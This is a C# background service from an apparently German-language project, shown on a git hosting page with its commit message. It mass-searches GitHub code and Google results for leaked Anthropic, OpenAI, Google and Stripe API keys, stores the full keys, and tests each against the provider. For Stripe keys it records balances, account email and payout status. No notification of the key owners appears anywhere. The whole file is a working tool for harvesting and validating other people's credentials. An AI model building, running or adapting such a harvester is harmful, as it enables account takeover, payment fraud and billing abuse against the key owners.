Files
gott/Services/KeyScannerService.cs
T
Meleki e61f3ef082 feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking
Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
2026-03-14 16:19:13 +01:00

652 lines
28 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Text.Json;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using Gott.Models;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
namespace Gott.Services;
public class KeyScannerService : BackgroundService
{
private readonly DatabaseService _db;
private readonly IHttpClientFactory _httpFactory;
private readonly ILogger<KeyScannerService> _logger;
private readonly ServerSettingsService _settings;
private string _githubToken => _settings.Get("GitHubToken");
private string _serperApiKey => _settings.Get("SerperApiKey");
private int _intervalHours => _settings.GetInt("ScanIntervalHours", 0);
// Status-Tracking
private readonly object _lock = new();
private bool _isRunning;
private string _lastRun;
private string _lastResult;
private readonly ManualResetEventSlim _triggerNow = new(false);
private string _scanMode = "full"; // full, quick, web
// Progress-Tracking
private string _progressPhase = "";
private string _progressDetail = "";
private int _progressCurrent;
private int _progressTotal;
private int _progressKeysFound;
public bool IsRunning { get { lock (_lock) return _isRunning; } }
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
public (string Phase, string Detail, int Current, int Total, int KeysFound) Progress
{
get { lock (_lock) return (_progressPhase, _progressDetail, _progressCurrent, _progressTotal, _progressKeysFound); }
}
private void SetProgress(string phase, string detail = "", int current = 0, int total = 0)
{
lock (_lock)
{
_progressPhase = phase;
_progressDetail = detail;
_progressCurrent = current;
_progressTotal = total;
}
}
private void IncrementKeysFound()
{
lock (_lock) _progressKeysFound++;
}
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
catch { /* DB-Fehler ignorieren */ }
});
}
// ── GitHub Search Config ──
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
}
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
private bool IsKeyTypeAllowed(string type)
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
return allowed.Contains(type);
}
private static readonly string[] SearchLanguages =
{
"Dotenv", "Text", "JavaScript", "Python", "TypeScript",
"Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
"Java", "Go", "C++", "PHP"
};
private static readonly string[] PathExtensions =
{
".env", ".envrc", ".prod", ".secret", ".private", ".key",
".xml", ".json", ".properties", ".sql", ".txt", ".log",
".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
".tmp", ".backup", ".bak", ".enc",
};
private const int RateLimitDelayMs = 6_500;
private const int MaxResultsPerSearch = 1000;
private const int ResultsPerPage = 100;
public KeyScannerService(
DatabaseService db,
IHttpClientFactory httpFactory,
ServerSettingsService settings,
ILogger<KeyScannerService> logger)
{
_db = db;
_httpFactory = httpFactory;
_settings = settings;
_logger = logger;
}
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
var hasGitHub = !string.IsNullOrWhiteSpace(_githubToken);
var hasSerper = !string.IsNullOrWhiteSpace(_serperApiKey);
if (!hasGitHub && !hasSerper)
{
_logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken/SerperApiKey konfiguriert)");
// Warte trotzdem auf manuelles Trigger-Signal
await WaitForTriggerOnly(stoppingToken);
return;
}
if (_intervalHours <= 0)
{
_logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv");
await WaitForTriggerOnly(stoppingToken);
return;
}
_logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours);
while (!stoppingToken.IsCancellationRequested)
{
await RunScan(stoppingToken);
// Warte auf Intervall oder manuelles Signal
var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken);
if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert");
}
}
/// <summary>Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall).</summary>
private async Task WaitForTriggerOnly(CancellationToken stoppingToken)
{
while (!stoppingToken.IsCancellationRequested)
{
await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken);
if (!stoppingToken.IsCancellationRequested)
await RunScan(stoppingToken);
}
}
/// <summary>Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert.</summary>
private Task<bool> WaitWithTrigger(TimeSpan timeout, CancellationToken ct)
{
return Task.Run(() =>
{
_triggerNow.Reset();
var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle };
var idx = WaitHandle.WaitAny(waitHandles, timeout);
return idx == 0; // true = triggered
}, ct);
}
/// <summary>Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen.</summary>
public void TriggerScan(string mode = "full")
{
lock (_lock) _scanMode = mode;
_triggerNow.Set();
}
private async Task RunScan(CancellationToken ct)
{
string mode;
lock (_lock)
{
if (_isRunning) return;
_isRunning = true;
mode = _scanMode;
_scanMode = "full"; // Reset für nächsten Lauf
}
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
AddLog("scan", modeLabel + "-Scan gestartet");
lock (_lock) _progressKeysFound = 0;
SetProgress("Starte " + modeLabel + "-Scan…");
var newKeysFound = 0;
var totalFound = 0;
try
{
// Phase 1: Quellen je nach Scan-Modus scannen
var allFoundKeys = new List<(string Key, string Url, string Source)>();
// Quick: nur GitHub mit reduzierten Sprachen/Pfaden
// Full: GitHub + Serper
// Web: nur Serper
if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken))
{
SetProgress("GitHub Code Search", "Starte…");
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
}
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
SetProgress("Web-Suche (Serper)", "Starte…");
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
}
totalFound = allFoundKeys.Count;
// Phase 2: Neue Keys in DB speichern (dedupliziert)
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", 0, totalFound);
var seen = new HashSet<string>(StringComparer.Ordinal);
var saveIdx = 0;
foreach (var (key, sourceUrl, source) in allFoundKeys)
{
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
var keyType = DetectKeyType(key);
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
IncrementKeysFound();
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
ApiKey = key,
Source = source,
SourceUrl = sourceUrl,
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
source,
source_url = sourceUrl,
scan_mode = modeLabel
});
AddLog("key_found", logMsg, detailsJson);
}
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu";
}
SetProgress("Abgeschlossen", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
catch (Exception ex)
{
AddLog("error", "Scan-Fehler: " + ex.Message);
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
_lastResult = $"Fehler: {ex.Message}";
}
}
finally
{
lock (_lock) _isRunning = false;
}
}
// ── GitHub Code Search ──
private static readonly string[] QuickLanguages = { "Dotenv", "Text", "Markdown" };
private static readonly string[] QuickPathExtensions = { ".env" };
/// <summary>Quick-Scan: nur die wichtigsten Sprachen/Pfade durchsuchen.</summary>
private async Task<List<(string Key, string Url)>> ScanGitHubQuick(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>();
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages)
{
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
queries.Add(($"{searchTerm} {langFilter}", regex));
}
foreach (var pathExt in QuickPathExtensions)
queries.Add(($"{searchTerm} path:{pathExt}", regex));
}
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
for (int i = 0; i < queries.Count; i++)
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search (Quick)", query, i + 1, queries.Count);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search (Quick)", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
catch (Exception ex)
{
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
private async Task<List<(string Key, string Url)>> ScanGitHub(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); // Key → erste URL
var queries = BuildSearchQueries();
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
for (int i = 0; i < queries.Count; i++)
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search", query, i + 1, queries.Count);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (Exception retryEx)
{
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
}
}
catch (Exception ex)
{
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
private static async Task<List<(string Key, string Url)>> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct)
{
var keys = new List<(string Key, string Url)>();
int page = 1;
int maxPages = MaxResultsPerSearch / ResultsPerPage;
while (page <= maxPages)
{
ct.ThrowIfCancellationRequested();
var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}";
await Task.Delay(RateLimitDelayMs, ct);
var resp = await client.GetAsync(url, ct);
if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break;
resp.EnsureSuccessStatusCode();
var json = await resp.Content.ReadAsStringAsync(ct);
var doc = JsonDocument.Parse(json);
var root = doc.RootElement;
var totalCount = root.GetProperty("total_count").GetInt32();
if (!root.TryGetProperty("items", out var items)) break;
foreach (var item in items.EnumerateArray())
{
var htmlUrl = BuildHtmlUrl(item);
if (item.TryGetProperty("text_matches", out var textMatches))
{
foreach (var tm in textMatches.EnumerateArray())
{
if (tm.TryGetProperty("fragment", out var frag))
{
var matches = regex.Matches(frag.GetString() ?? "");
foreach (Match m in matches) keys.Add((m.Value, htmlUrl));
}
}
}
// Kein text_match → Raw-File fetchen
var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any();
if (!hasMatches)
{
var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct);
foreach (var k in rawKeys) keys.Add((k, htmlUrl));
}
}
if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break;
page++;
}
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
}
/// <summary>Baut die GitHub HTML-URL aus einem Search-API-Item.</summary>
private static string BuildHtmlUrl(JsonElement item)
{
if (item.TryGetProperty("html_url", out var htmlUrl))
return htmlUrl.GetString() ?? "";
// Fallback: aus repository.full_name + path zusammenbauen
if (item.TryGetProperty("repository", out var repo) &&
repo.TryGetProperty("full_name", out var fullName) &&
item.TryGetProperty("path", out var path))
return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}";
return "";
}
private static async Task<List<string>> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct)
{
var keys = new List<string>();
try
{
if (!item.TryGetProperty("repository", out var repo) ||
!repo.TryGetProperty("full_name", out var fullName) ||
!item.TryGetProperty("path", out var path))
return keys;
var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}";
var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl);
request.Headers.Accept.Clear();
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json"));
await Task.Delay(500, ct);
var resp = await client.SendAsync(request, ct);
if (!resp.IsSuccessStatusCode) return keys;
var content = await resp.Content.ReadAsStringAsync(ct);
var matches = regex.Matches(content);
foreach (Match m in matches) keys.Add(m.Value);
}
catch { /* Datei nicht lesbar – ignorieren */ }
return keys;
}
private List<(string Query, Regex Regex)> BuildSearchQueries()
{
var queries = new List<(string, Regex)>();
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages)
{
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
queries.Add(($"{searchTerm} {langFilter}", regex));
}
foreach (var pathExt in PathExtensions)
{
queries.Add(($"{searchTerm} path:{pathExt}", regex));
}
}
return queries;
}
// ── Serper.dev Google Search ──
/// <summary>
/// Durchsucht Google via Serper.dev nach geleakten API-Keys.
/// Jeder KeyPattern-SearchTerm wird als exakte Phrase gesucht.
/// Snippets werden nach dem vollständigen Key-Pattern geparst.
/// </summary>
private async Task<List<(string Key, string Url)>> ScanSerper(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
var activePatterns = GetActiveSearchPatterns();
for (int i = 0; i < activePatterns.Length; i++)
{
var (pattern, searchTerm, _) = activePatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try
{
// Serper erlaubt bis zu 100 Ergebnisse pro Request (num: 100)
var payload = JsonSerializer.Serialize(new { q = $"\"{searchTerm}\"", num = 100 });
var request = new HttpRequestMessage(HttpMethod.Post, "https://google.serper.dev/search")
{
Content = new StringContent(payload, Encoding.UTF8, "application/json")
};
var resp = await client.SendAsync(request, ct);
resp.EnsureSuccessStatusCode();
var json = await resp.Content.ReadAsStringAsync(ct);
var doc = JsonDocument.Parse(json);
// Organic results durchsuchen
if (doc.RootElement.TryGetProperty("organic", out var organic))
{
foreach (var item in organic.EnumerateArray())
{
var link = item.TryGetProperty("link", out var l) ? l.GetString() ?? "" : "";
var snippet = item.TryGetProperty("snippet", out var s) ? s.GetString() ?? "" : "";
var title = item.TryGetProperty("title", out var t) ? t.GetString() ?? "" : "";
// Keys aus Snippet und Title extrahieren
var text = snippet + " " + title;
var matches = regex.Matches(text);
foreach (Match m in matches)
if (!allKeys.ContainsKey(m.Value)) allKeys[m.Value] = link;
}
}
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
await Task.Delay(1000, ct); // Rate-Limit schonen
}
catch (Exception ex)
{
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
// ── Key Check ──
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
if (KeyPatterns.IsAnthropic(type))
{
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "stripe_live" || type == "stripe_test")
{
var result = await StripeKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, is_live = result.IsLiveKey, account_id = result.AccountId, account_name = result.AccountName, account_email = result.AccountEmail, country = result.AccountCountry, balance_available = result.BalanceAvailable, balance_pending = result.BalancePending, currency = result.Currency, charges_enabled = result.ChargesEnabled, payouts_enabled = result.PayoutsEnabled, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
{
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
}
}
private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
}